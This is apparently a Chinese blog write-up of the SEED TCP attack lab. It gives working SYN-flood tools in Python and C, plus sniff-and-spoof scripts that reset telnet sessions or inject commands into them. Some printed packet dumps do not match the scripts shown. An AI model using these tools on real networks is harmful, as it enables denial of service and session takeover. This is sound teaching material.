Ezekielx
Ezekielx
发布于 2026-05-19 / 6 阅读
0
0

SEED 实验 网络安全实验-TCP 攻击实验

1 概述

实验任务:https://seedsecuritylabs.org/chinese/labs/Networking/TCP_Attacks/

2 实验环境

0xFlktd7-1.png

2.1 容器配置与命令

创建实验目录:

[05/08/26]seed@VM:~$ mkdir ~/Experiment02
[05/08/26]seed@VM:~$ cd Experiment02
[05/08/26]seed@VM:~/Experiment02$

解压镜像文件:

[05/08/26]seed@VM:~/Experiment02$ unzip Labsetup.zip
Archive:  Labsetup.zip
   creating: Labsetup/
  inflating: Labsetup/docker-compose.yml
   creating: Labsetup/volumes/
  inflating: Labsetup/volumes/synflood.c
[05/08/26]seed@VM:~/Experiment02$

启动容器:

[05/08/26]seed@VM:~/.../Labsetup$ docker-compose up -d
Creating network "net-10.9.0.0" with the default driver
Creating user1-10.9.0.6  ... done
Creating seed-attacker   ... done
Creating user2-10.9.0.7  ... done
Creating victim-10.9.0.5 ... done
[05/08/26]seed@VM:~/.../Labsetup$

2.2 关于攻击者容器

  • 共享文件夹:当使用攻击者容器执行攻击时,需要将攻击代码放在攻击者容器内部,所以为了使虚拟机和容器共享文件,使用 Docker volumes 在虚拟机和容器之间创建了一个共享文件夹。主机上的 ./volumes 文件夹挂载到了容器内的 /volumes 文件夹。
  • 主机模式:在本实验中,由于攻击者需要能够嗅探数据包,我们将攻击者容器的网络模式设置为 host 模式,即它可以看到主机的所有网络接口,甚至拥有与主机相同的 IP 地址(这个容器仍然是一台独立的机器)。

2.3 seed 帐号

在本实验中,需要从一个容器 telnet 到另一个容器。所有容器都存在一个名为 seed 的帐号,密码为 dees。可以用 telnet 登录该帐号。

3 任务 1: SYN 泛洪攻击

SYN 泛洪(SYN Flood)是一种典型的 DoS(Denial of Service,拒绝服务)攻击。攻击者会向目标主机的 TCP 端口发送大量 SYN 请求,但不完成 TCP 三次握手。具体来说,攻击者通常会使用伪造的源 IP 地址,或在收到目标主机返回的 SYN-ACK 后不再发送最终的 ACK。

在这种情况下,目标主机会为这些未完成握手的连接分配资源,并将其放入半连接队列。所谓半连接,是指已经完成了 SYN 和 SYN-ACK 交互,但尚未收到客户端最终 ACK 的连接。当大量半连接持续占用队列资源时,半连接队列可能被耗尽,导致目标主机无法正常处理新的合法连接请求。

在默认情况下,Ubuntu的SYN泛洪攻击的防御机制是打开的。这个机制被称为 SYN cookie。一旦机器检测到自己在遭受 SYN 泛洪攻击,这立即启动这个防御机制。

本次实验中已经关闭了目标容器的这一机制(见 docker-compose.yml 文件中的 sysctls 条目)。

3.1 任务 1.1: 使用 Python 发起攻击

TCP 建立连接时需要经过三次握手:

  1. 客户端向服务器发送 SYN 报文,请求建立连接。
  2. 服务器收到请求后,返回 SYN+ACK 报文,并为该连接分配一个半开连接项。
  3. 客户端再向服务器发送 ACK 报文,连接正式建立。

SYN Flood 攻击原理:

SYN Flood 攻击是利用 TCP 三次握手机制的一种拒绝服务攻击。攻击者持续向目标主机发送大量伪造源地址的 SYN 报文。受害者在收到这些报文后,会为每一个请求分配半连接队列项,并返回 SYN+ACK 报文。然而,由于源 IP 地址是伪造的,受害者无法收到真实的第三次握手 ACK,这些连接就会一直停留在半连接状态。

当半连接队列中的位置被大量伪造请求占满后,新的合法连接请求将无法及时进入队列,最终导致正常用户无法建立连接,从而形成拒绝服务。

创建 Python 攻击脚本 synflood.py

[05/17/26]seed@VM:~/Experiment02$ vim synflood.py
#!/bin/env python3

# 导入构造 IP/TCP 数据包和发送数据包所需的 Scapy 模块
from scapy.all import IP, TCP, send

# 导入 IPv4Address,用于将随机整数转换成 IPv4 地址
from ipaddress import IPv4Address

# 导入 getrandbits,用于生成随机的 IP、端口号和序列号
from random import getrandbits

# 设置目标 IP 为受害者主机 10.9.0.5
ip = IP(dst="10.9.0.5")

# 设置目标端口为 23(telnet),并将 TCP 标志位设为 SYN
tcp = TCP(dport=23, flags='S')

# 将 IP 层和 TCP 层组合成一个完整的数据包
pkt = ip / tcp

# 不断循环发送伪造的 SYN 数据包
while True:

    # 随机生成源 IP 地址,伪造不同来源的连接请求
    pkt[IP].src = str(IPv4Address(getrandbits(32)))

    # 随机生成源端口号
    pkt[TCP].sport = getrandbits(16)

    # 随机生成 TCP 序列号
    pkt[TCP].seq = getrandbits(32)

    # 发送构造好的数据包,不显示详细发送信息
    send(pkt, verbose=0)

运行攻击脚本:

[05/17/26]seed@VM:~/Experiment02$ sudo python3 ./synflood.py
[05/17/26]seed@VM:~/Experiment02$

新建一个终端,查看 Host B 容器名,根据容器名进入容器。在 Host B 容器中使用 telnet 访问正在被攻击的容器 Host A。

[05/17/26]seed@VM:~$ docker ps
CONTAINER ID        IMAGE                               COMMAND                  CREATED             STATUS              PORTS               NAMES
b2866d99d1bc        handsonsecurity/seed-ubuntu:large   "bash -c ' /etc/init…"   20 minutes ago      Up 20 minutes                           user2-10.9.0.7
4f19f9ead73c        handsonsecurity/seed-ubuntu:large   "bash -c ' /etc/init…"   20 minutes ago      Up 20 minutes                           victim-10.9.0.5
ffaa7a09a31a        handsonsecurity/seed-ubuntu:large   "/bin/sh -c /bin/bash"   20 minutes ago      Up 20 minutes                           seed-attacker
7ea158e41f96        handsonsecurity/seed-ubuntu:large   "bash -c ' /etc/init…"   20 minutes ago      Up 20 minutes                           user1-10.9.0.6
[05/17/26]seed@VM:~$ docker exec -it user1-10.9.0.6 bash
root@7ea158e41f96:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
4f19f9ead73c login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sun May 17 07:53:04 UTC 2026 from user1-10.9.0.6.net-10.9.0.0 on pts/3
seed@4f19f9ead73c:~$

按理来说应该连接不成功的,但是结果却成功了🧐。

现在在受害者 Host A 主机上先查看半连接队列容量,然后适当减小容量,并清除系统缓存信息,让攻击更容易成功。

[05/17/26]seed@VM:~$ docker exec -it victim-10.9.0.5 bash
root@4f19f9ead73c:/# sysctl net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 512
root@4f19f9ead73c:/# sysctl -w net.ipv4.tcp_max_syn_backlog=64
net.ipv4.tcp_max_syn_backlog = 64
root@4f19f9ead73c:/#

此外,在 Ubuntu 20.04 中,系统会对曾经成功建立过 TCP 连接的客户端保留一定缓存信息,使这些主机在 SYN Flood 攻击期间也可能优先获得连接机会。为了避免这种机制影响实验结果,需要清除 TCP metrics 缓存。

在刚刚的 Host A 容器终端里面继续执行:

root@4f19f9ead73c:/# ip tcp_metrics flush
root@4f19f9ead73c:/#

退出 Host A,再次尝试在 Host B 中连接 Host A:

[05/17/26]seed@VM:~$ docker exec -it user1-10.9.0.6 bash
root@7ea158e41f96:/# telnet 10.9.0.5
Trying 10.9.0.5...
telnet: Unable to connect to remote host: Connection timed out
root@7ea158e41f96:/#

连接超时,说明攻击成功了🥰。

3.2 任务 1.2: 使用 C 语言发起攻击

首先将受害者 Host A 主机上的半连接队列容量增加到原始大小(512)。

[05/17/26]seed@VM:~/Experiment02$ docker exec -it victim-10.9.0.5 bash
root@4f19f9ead73c:/# sysctl -w net.ipv4.tcp_max_syn_backlog=512
net.ipv4.tcp_max_syn_backlog = 512
root@4f19f9ead73c:/#

创建 C 程序攻击文件:

[05/17/26]seed@VM:~/Experiment02$ vim synflood.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

// TCP 校验和需要使用伪首部
struct pseudo_header {
    unsigned int src_addr;
    unsigned int dst_addr;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;
};

// 计算校验和,供 IP 和 TCP 首部使用
unsigned short checksum(unsigned short *buf, int len)
{
    unsigned long sum = 0;

    // 按 16 位累加数据
    while (len > 1) {
        sum += *buf++;
        len -= 2;
    }

    // 如果剩余 1 个字节,也加入计算
    if (len == 1) {
        sum += *(unsigned char *)buf;
    }

    // 处理进位
    while (sum >> 16) {
        sum = (sum & 0xffff) + (sum >> 16);
    }

    // 取反得到最终校验和
    return (unsigned short)(~sum);
}

// 随机生成一个伪造的源 IP 地址
unsigned int random_ip()
{
    unsigned int ip;

    ip = ((rand() % 256) << 24) |
         ((rand() % 256) << 16) |
         ((rand() % 256) << 8)  |
         (rand() % 256);

    return htonl(ip);
}

// 持续向 10.9.0.5 的 23 端口发送 TCP SYN 数据包
int main()
{
    // 目标主机为 Host A,目标端口为 telnet 的 23 端口
    const char *target_ip = "10.9.0.5";
    int target_port = 23;

    // 初始化随机数种子
    srand(time(NULL));

    // 创建原始套接字,用于发送手工构造的数据包
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (sock < 0) {
        perror("socket");
        return 1;
    }

    // 告诉内核,IP 首部由程序自行填写
    int one = 1;
    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) {
        perror("setsockopt");
        close(sock);
        return 1;
    }

    // 设置目标地址信息
    struct sockaddr_in dest;
    memset(&dest, 0, sizeof(dest));
    dest.sin_family = AF_INET;
    dest.sin_port = htons(target_port);
    dest.sin_addr.s_addr = inet_addr(target_ip);

    // 定义数据包缓冲区,并定位 IP/TCP 首部
    char packet[sizeof(struct iphdr) + sizeof(struct tcphdr)];
    struct iphdr *ip = (struct iphdr *)packet;
    struct tcphdr *tcp = (struct tcphdr *)(packet + sizeof(struct iphdr));

    // 持续发送伪造的 SYN 数据包
    while (1) {
        // 每次发送前先清空缓冲区
        memset(packet, 0, sizeof(packet));

        // 构造 IP 首部
        ip->ihl = 5;
        ip->version = 4;
        ip->tos = 0;
        ip->tot_len = htons(sizeof(packet));
        ip->id = htons(rand() % 65535);
        ip->frag_off = 0;
        ip->ttl = 64;
        ip->protocol = IPPROTO_TCP;
        ip->saddr = random_ip();
        ip->daddr = inet_addr(target_ip);
        ip->check = 0;
        ip->check = checksum((unsigned short *)ip, sizeof(struct iphdr));

        // 构造 TCP 首部,并将标志位设置为 SYN
        tcp->source = htons(rand() % 65535);
        tcp->dest = htons(target_port);
        tcp->seq = htonl(rand());
        tcp->ack_seq = 0;
        tcp->doff = 5;
        tcp->syn = 1;
        tcp->window = htons(65535);
        tcp->urg_ptr = 0;
        tcp->check = 0;

        // 构造伪首部,供 TCP 校验和计算使用
        struct pseudo_header psh;
        psh.src_addr = ip->saddr;
        psh.dst_addr = ip->daddr;
        psh.placeholder = 0;
        psh.protocol = IPPROTO_TCP;
        psh.tcp_length = htons(sizeof(struct tcphdr));

        // 将伪首部和 TCP 首部拼接后计算校验和
        char pseudo_packet[sizeof(struct pseudo_header) + sizeof(struct tcphdr)];
        memcpy(pseudo_packet, &psh, sizeof(struct pseudo_header));
        memcpy(pseudo_packet + sizeof(struct pseudo_header), tcp, sizeof(struct tcphdr));
        tcp->check = checksum((unsigned short *)pseudo_packet, sizeof(pseudo_packet));

        // 发送构造好的 SYN 报文
        sendto(sock, packet, sizeof(packet), 0, (struct sockaddr *)&dest, sizeof(dest));
    }

    close(sock);
    return 0;
}

编译并运行:

[05/17/26]seed@VM:~/Experiment02$ gcc -o synflood synflood.c
[05/17/26]seed@VM:~/Experiment02$ sudo ./synflood

新建一个终端,进入 Host B 容器中使用 telnet 访问正在被攻击的容器 Host A。

[05/17/26]seed@VM:~$ docker exec -it user1-10.9.0.6 bash
root@7ea158e41f96:/# telnet 10.9.0.5
Trying 10.9.0.5...
telnet: Unable to connect to remote host: Connection timed out
root@7ea158e41f96:/#

连接失败,实验成功。

C 语言实现的 SYN Flood 攻击比 Python 实现效果更明显。主要原因是 C 程序使用原始套接字直接构造并发送数据包,发包效率更高,能够在更短时间内产生更多伪造的 SYN 请求,从而更容易占满受害者主机的半连接队列。实验结果表明,攻击发送速率是影响 SYN Flood 成功率的关键因素之一。

打开 SYN Cookie:

[05/17/26]seed@VM:~$ sudo sysctl -w net.ipv4.tcp_syncookies=1
net.ipv4.tcp_syncookies = 1
[05/17/26]seed@VM:~$

运行之前的 C 攻击脚本:

[05/17/26]seed@VM:~/Experiment02$ sudo ./synflood

新建一个终端,进入 Host B 容器中使用 telnet 访问正在被攻击的容器 Host A。

[05/17/26]seed@VM:~$ docker exec -it user1-10.9.0.6 bash
root@7ea158e41f96:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
4f19f9ead73c login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sun May 17 07:54:27 UTC 2026 from user1-10.9.0.6.net-10.9.0.0 on pts/3
seed@4f19f9ead73c:~$

可以看到开启 SYN Cookie 后攻击失败了。

SYN Cookie 能够减轻 SYN Flood 攻击的根本原因在于:它改变了服务器在收到 SYN 报文后的资源分配方式。在未启用 SYN Cookie 时,服务器对每个收到的 SYN 请求都会立即分配半连接项,这给攻击者提供了消耗服务器资源的机会。

而启用 SYN Cookie 后,服务器在半连接队列压力较大时,不再急于为所有请求保留状态,而是把必要信息编码到返回报文的序列号中。只有当客户端真正返回合法的 ACK 时,服务器才恢复状态并建立连接。

由于 SYN Flood 攻击中的源地址通常是伪造的,攻击者无法收到服务器返回的 SYN+ACK,也就无法正确构造最终的 ACK。因此,这些伪造请求虽然能触发服务器返回响应,但不能像之前那样长期占用半连接队列。这就使得合法客户端仍有较大机会完成三次握手,从而有效减轻拒绝服务现象。

4 任务 2: 对 telnet 连接的 TCP 复位攻击

手动发起攻击

新建一个终端,进入 Host B 容器中使用 telnet 访问容器 Host A。

[05/17/26]seed@VM:~$ docker exec -it user1-10.9.0.6 bash
root@7ea158e41f96:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
4f19f9ead73c login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sun May 17 08:46:23 UTC 2026 from user1-10.9.0.6.net-10.9.0.0 on pts/3
seed@4f19f9ead73c:~$

新建一个终端,使用 wireshark 命令打开 Wireshark,选择 Docker 容器的网络接口名称(br- 开头)。

[05/17/26]seed@VM:~$ wireshark

返回 telnet 连接终端,输入 ls 命令,查看 Wireshark 中抓取的从 10.9.0.6 到 10.9.0.5 的包的 Src PortSeq 值。

seed@4f19f9ead73c:~$ ls
seed@4f19f9ead73c:~$

0xFlktd7-2.png

创建手动攻击脚本 manual_rst.py,将 sportseq 变量进行替换:

[05/17/26]seed@VM:~/Experiment02$ vim manual_rst.py
#!/usr/bin/env python3
from scapy.all import *

# 冒充 Host B (10.9.0.6) 向 Host A (10.9.0.5) 发送 RST 报文
ip = IP(src="10.9.0.6", dst="10.9.0.5")

# 构造 TCP 首部:
# sport: 源端口,使用 A 在本次 telnet 连接中实际使用的端口
# dport: 目的端口,telnet 服务通常为 23
# flags="R": 置 RST 标志位,通知对方立即终止连接
# seq: 序列号,必须落在 B 的接收窗口内,通常可以从嗅探到的报文 seq 取得
tcp = TCP(sport=34042, dport=23, flags="R", seq=2369547171)

# 组合数据包
pkt = ip / tcp

# 查看构造好的数据包内容(调试用)
ls(pkt)

# 发送 RST 包,verbose=0 关闭大量输出
send(pkt, verbose=0)

运行脚本:

[05/17/26]seed@VM:~/Experiment02$ sudo python3 ./manual_rst.py
version    : BitField  (4 bits)                  = 4               (4)
ihl        : BitField  (4 bits)                  = None            (None)
tos        : XByteField                          = 0               (0)
len        : ShortField                          = None            (None)
id         : ShortField                          = 1               (1)
flags      : FlagsField  (3 bits)                = <Flag 0 ()>     (<Flag 0 ()>)
frag       : BitField  (13 bits)                 = 0               (0)
ttl        : ByteField                           = 64              (64)
proto      : ByteEnumField                       = 6               (0)
chksum     : XShortField                         = None            (None)
src        : SourceIPField                       = '10.9.0.6'      (None)
dst        : DestIPField                         = '10.9.0.5'      (None)
options    : PacketListField                     = []              ([])
--
sport      : ShortEnumField                      = 34042           (20)
dport      : ShortEnumField                      = 23              (80)
seq        : IntField                            = 2369547171      (0)
ack        : IntField                            = 0               (0)
dataofs    : BitField  (4 bits)                  = None            (None)
reserved   : BitField  (3 bits)                  = 0               (0)
flags      : FlagsField  (9 bits)                = <Flag 4 (R)>    (<Flag 2 (S)>)
window     : ShortField                          = 8192            (8192)
chksum     : XShortField                         = None            (None)
urgptr     : ShortField                          = 0               (0)
options    : TCPOptionsField                     = []              (b'')
[05/17/26]seed@VM:~/Experiment02$

返回 telnet 连接终端,任意输入一个字符,发现:

seed@4f19f9ead73c:~$ Connection closed by foreign host.
root@7ea158e41f96:/#

连接断开,实验成功。

自动发起攻击

使用 ip address 查看容器网络接口名称(br- 开头)。

[05/17/26]seed@VM:~/Experiment02$ ip address
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:04:cc:1e brd ff:ff:ff:ff:ff:ff
    inet 192.168.144.145/24 brd 192.168.144.255 scope global noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::3c7e:fe4e:252d:7127/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST> mtu 1500 qdisc noqueue state DOWN group default
    link/ether 02:42:b7:1d:94:bc brd ff:ff:ff:ff:ff:ff
63: br-906824cceaea: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:9c:55:e3:41 brd ff:ff:ff:ff:ff:ff
    inet 10.9.0.1/24 brd 10.9.0.255 scope global br-906824cceaea
       valid_lft forever preferred_lft forever
    inet6 fe80::42:9cff:fe55:e341/64 scope link
       valid_lft forever preferred_lft forever
65: vethc0e1a9d@if64: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-906824cceaea state UP group default
    link/ether ae:c4:c6:41:d9:50 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::acc4:c6ff:fe41:d950/64 scope link
       valid_lft forever preferred_lft forever
67: veth5b0928c@if66: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-906824cceaea state UP group default
    link/ether 6e:fc:7a:86:20:f2 brd ff:ff:ff:ff:ff:ff link-netnsid 2
    inet6 fe80::6cfc:7aff:fe86:20f2/64 scope link
       valid_lft forever preferred_lft forever
69: veth657ce84@if68: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-906824cceaea state UP group default
    link/ether 2a:83:f2:e7:a7:53 brd ff:ff:ff:ff:ff:ff link-netnsid 1
    inet6 fe80::2883:f2ff:fee7:a753/64 scope link
       valid_lft forever preferred_lft forever
[05/17/26]seed@VM:~/Experiment02$

创建自动攻击脚本 auto_rst.py,将最后一个函数 iface 的值改为刚刚获取的容器网络接口名称。

[05/17/26]seed@VM:~/Experiment02$ vim auto_rst.py
#!/usr/bin/env python3
from scapy.all import *

# 回调函数:每嗅探到一个符合条件的包,立即伪造并发送 RST 报文
def spoof_rst(pkt):
    # 只处理从 B(10.9.0.6) 发往 A(10.9.0.5) 且目的端口为 23 的 TCP 报文
    if pkt[IP].src == "10.9.0.6" and pkt[IP].dst == "10.9.0.5" and pkt[TCP].dport == 23:
        # 伪造 RST,复用原包的地址、端口和序列号
        ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
        tcp = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport,
                  flags="R", seq=pkt[TCP].seq)
        rst_pkt = ip / tcp

        # 中文提示,方便观察
        print("正在发送 RST 从 {} 到 {}".format(pkt[IP].src, pkt[IP].dst))

        # 发送伪造的 RST 数据包
        send(rst_pkt, verbose=0)

# 开始嗅探:过滤条件为 A 和 B 之间端口 23 的 TCP 流量
sniff(iface="br-906824cceaea", filter="tcp and host 10.9.0.5 and host 10.9.0.6 and port 23", prn=spoof_rst)

新建一个终端,进入 Host B 容器中使用 telnet 访问容器 Host A。

[05/17/26]seed@VM:~$ docker exec -it user1-10.9.0.6 bash
root@7ea158e41f96:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
4f19f9ead73c login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sun May 17 09:39:18 UTC 2026 from user1-10.9.0.6.net-10.9.0.0 on pts/3
seed@4f19f9ead73c:~$

返回脚本终端运行脚本:

[05/17/26]seed@VM:~/Experiment02$ sudo python3 ./auto_rst.py
[05/17/26]seed@VM:~/Experiment02$

返回 telnet 连接终端,任意输入一个字符,发现:

seed@4f19f9ead73c:~$ Connection closed by foreign host.
root@7ea158e41f96:/#

连接断开,实验成功。

5 任务 3: TCP 会话劫持

0xFlktd7-3.png

手动发起攻击

新建一个终端,进入 Host B 容器中使用 telnet 访问容器 Host A。

[05/17/26]seed@VM:~$ docker exec -it user1-10.9.0.6 bash
root@7ea158e41f96:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
4f19f9ead73c login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sun May 17 11:18:27 UTC 2026 from user1-10.9.0.6.net-10.9.0.0 on pts/3
seed@4f19f9ead73c:~$

新建一个终端,使用 wireshark 命令打开 Wireshark,选择 Docker 容器的网络接口名称(br- 开头)。

[05/17/26]seed@VM:~$ wireshark

返回 telnet 连接终端,输入 ls 命令,查看 Wireshark 中抓取的从 10.9.0.6 到 10.9.0.5 的包的 Src PortSeqAck 值。

seed@4f19f9ead73c:~$ ls
seed@4f19f9ead73c:~$

0xFlktd7-4.png

新建一个终端,创建手动攻击脚本 manual_hijack.py,将 sportseqack 变量进行替换:

[05/17/26]seed@VM:~/Experiment02$ vim manual_hijack.py
#!/usr/bin/env python3
from scapy.all import *

# 冒充 Host B (10.9.0.6) 向 Host A (10.9.0.5) 发送恶意命令
ip = IP(src="10.9.0.6", dst="10.9.0.5")

# sport 和 dport 使用嗅探到的实际端口
# flags="A" 按照题目要求使用纯 ACK 携带数据
# seq 和 ack 使用 Wireshark 获取的最后一个 B->A 包的绝对序列号和确认号
tcp = TCP(sport=35792, dport=23, flags="A", seq=1440903333, ack=2633281410)

# 要注入的恶意命令
data = "echo 'Hijacked' > /tmp/hijacked.txt\n"

# 构造最终数据包
pkt = ip / tcp / data

# 查看数据包详情
ls(pkt)

# 发送数据包
send(pkt, verbose=0)

运行脚本:

[05/18/26]seed@VM:~/Experiment02$ sudo python3 ./manual_hijack.py
version    : BitField  (4 bits)                  = 4               (4)
ihl        : BitField  (4 bits)                  = None            (None)
tos        : XByteField                          = 0               (0)
len        : ShortField                          = None            (None)
id         : ShortField                          = 1               (1)
flags      : FlagsField  (3 bits)                = <Flag 0 ()>     (<Flag 0 ()>)
frag       : BitField  (13 bits)                 = 0               (0)
ttl        : ByteField                           = 64              (64)
proto      : ByteEnumField                       = 6               (0)
chksum     : XShortField                         = None            (None)
src        : SourceIPField                       = '10.9.0.6'      (None)
dst        : DestIPField                         = '10.9.0.5'      (None)
options    : PacketListField                     = []              ([])
--
sport      : ShortEnumField                      = 35814           (20)
dport      : ShortEnumField                      = 23              (80)
seq        : IntField                            = 4222155566      (0)
ack        : IntField                            = 29201725        (0)
dataofs    : BitField  (4 bits)                  = None            (None)
reserved   : BitField  (3 bits)                  = 0               (0)
flags      : FlagsField  (9 bits)                = <Flag 16 (A)>   (<Flag 2 (S)>)
window     : ShortField                          = 8192            (8192)
chksum     : XShortField                         = None            (None)
urgptr     : ShortField                          = 0               (0)
options    : TCPOptionsField                     = []              (b'')
--
load       : StrField                            = b"\necho 'Hijacked!' > /tmp/hijacked.txt\n" (b'')
[05/18/26]seed@VM:~/Experiment02$

在成功注入命令后,Host B 的 telnet 终端立即失去响应,这属于正常现象。

使用 Wireshark 抓包显示:服务器端(Host A)持续向客户端(Host B)发送 PSH, ACK 数据段并不断重传,直至连接超时。该现象的根本原因在于攻击者注入的数据破坏了原有 TCP 连接的字节流同步状态,导致双方对序列号和确认号的认知出现分歧。

具体过程如下:

  1. 攻击者冒充 Host B 向 Host A 发送了一段额外的数据(此处为 echo 'Hijacked!' > /tmp/hijacked.txt\n)。Host A 的 TCP 协议栈正确接收了这段数据,并将其交付给应用层,因此服务器上的 shell 执行了该命令,文件创建成功。
  2. 从 TCP 序列号的角度看,Host A 认为客户端已发送的字节数增加了该注入数据的长度,因此其期望的下一个序列号(ACK 值)随之增加。例如,若注入前 Host A 期望的序列号为 X,注入 40 字节后,Host A 回复的数据包中将携带 ACK = X + 40
  3. 然而,真实的客户端 Host B 完全不知道攻击者的注入行为,其内部维护的已发送字节数仍为 X。当 Host B 收到 Host A 发来的、带有 ACK = X + 40 的数据包时,它会认为这个确认号超出了自己实际已发送的范围,属于异常或无效的确认,因此通常会直接丢弃该数据包,而不回复正常的 ACK。
  4. Host A 因无法收到对已发送数据的确认,会根据 TCP 的超时重传机制反复发送相同的数据段,形成大量重传。同时,客户端后续试图发送的任何新数据(如新的按键)也会因为序列号不匹配而被服务器视为乱序或无效,连接彻底陷入僵死状态。

TCP 会话劫持虽然能够成功注入命令,但单次、单向的注入不可避免地会导致会话两端序列号失步,从而造成连接卡死。

由于此时 telnet 终端失去响应,新建一个终端,进入 Host A 容器查看文件是否创建成功。

[05/18/26]seed@VM:~$ docker exec -it victim-10.9.0.5 bash
root@eb5ab1858292:/# cat /tmp/hijacked.txt
Hijacked!
root@eb5ab1858292:/#

劫持成功!

自动发起攻击

创建自动攻击脚本 auto_hijack.py,将最后一个函数 iface 的值改为之前获取的容器网络接口名称。

[05/17/26]seed@VM:~/Experiment02$ vim auto_hijack.py
#!/usr/bin/env python3
from scapy.all import *

# 要注入的恶意命令,与手动成功版本一致
data = "echo 'Hijacked!!!' > /tmp/hijacked.txt\n"

# 标记是否已注入,防止重复发送
sent = False

def hijack_telnet(pkt):
    global sent
    if sent:
        return

    # 筛选从 Host B 发往 Host A 的 telnet 报文
    if (pkt[IP].src == "10.9.0.6" and pkt[IP].dst == "10.9.0.5"
        and pkt[TCP].dport == 23):

        # 只对纯 ACK 包(Len=0)进行注入,避免时序干扰
        if len(bytes(pkt[TCP].payload)) != 0:
            return

        # 构造 IP 和 TCP 首部
        ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
        tcp = TCP(sport=pkt[TCP].sport, dport=23,
                  flags="A", seq=pkt[TCP].seq, ack=pkt[TCP].ack)

        # 合成恶意数据包
        hijack_pkt = ip / tcp / data

        print("正在向 {} 注入命令...".format(pkt[IP].dst))
        send(hijack_pkt, verbose=0)
        sent = True
        print("注入完成。")
        # 注入后退出嗅探循环
        raise SystemExit

# 开始嗅探,直到成功注入一次
sniff(iface="br-067564d14183",
      filter="tcp and host 10.9.0.5 and host 10.9.0.6 and port 23",
      prn=hijack_telnet)

新建一个终端,进入 Host B 容器中使用 telnet 访问容器 Host A。

[05/19/26]seed@VM:~$ docker exec -it user1-10.9.0.6 bash
root@754bbdf534a1:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
ca2fa51d4bf9 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

seed@ca2fa51d4bf9:~$

返回脚本终端运行脚本:

[05/19/26]seed@VM:~/Experiment02$ sudo python3 ./auto_hijack.py

在回到 telnet 连接终端,点击回车(输入字符只会创建文件不会输入内容,我真的找不出原因🥲),发现 telnet 终端卡死(原因和前面的一样),脚本运行终端也完成了脚本执行。

